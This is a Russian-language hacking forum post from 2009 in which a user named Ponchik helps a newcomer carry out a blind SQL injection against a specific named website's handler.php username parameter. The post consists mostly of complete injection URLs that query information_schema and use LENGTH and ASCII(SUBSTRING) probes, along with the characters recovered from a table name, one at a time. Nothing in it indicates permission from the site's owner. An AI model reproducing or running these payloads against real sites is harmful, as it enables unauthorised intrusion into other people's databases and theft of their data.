Помогите "зеленому" с инъекцией!

#20

01.08.2009, 15:08

Ponchik

Постоянный

Регистрация: 30.08.2005

Сообщений: 730

С нами: 10892546

Репутация: 2274

Код:

http://wblist.ru/t3/handler.php?username=a'+OR+((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2015,1)='VIEWS')/*

знач 16 уже идёт табла чо нам нужна, пойду подбирать...
Да, я неумею юзать проги для слепых скулей

Код:

http://wblist.ru/t3/handler.php?username=a'+OR+(SELECT+LENGTH(table_name)+FROM+information_schema.tables+LIMIT+16,1)=5/*

5 символов в имени таблы

Код:

http://wblist.ru/t3/handler.php?username=a'+OR+ASCII(SUBSTRING((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1),1,1))=102/*

f****

Код:

http://wblist.ru/t3/handler.php?username=a'+OR+ASCII(SUBSTRING((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1),2,1))=105/*

fi***

Код:

http://wblist.ru/t3/handler.php?username=a'+OR+ASCII(SUBSTRING((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1),3,1))=111/*

fio**

Код:

http://wblist.ru/t3/handler.php?username=a'+OR+ASCII(SUBSTRING((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1),4,1))=105/*

fioi*

Код:

http://wblist.ru/t3/handler.php?username=a'+OR+ASCII(SUBSTRING((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1),5,1))=113/*

табла fioiq, эмм...

не, точно fioiq

Код:

http://wblist.ru/t3/handler.php?username=a'+OR+((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1)='fioiq')/*

Ну нафик, с такими таблами... пойду дальше работать

==
ТС, ты ещё тут? Как мозг?

Последний раз редактировалось Ponchik; 01.08.2009 в 15:28..

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

vmn

Уязвимости

11.12.2006 20:27

z0pa

Уязвимости

08.07.2005 17:13

z0pa

Уязвимости

06.07.2005 15:15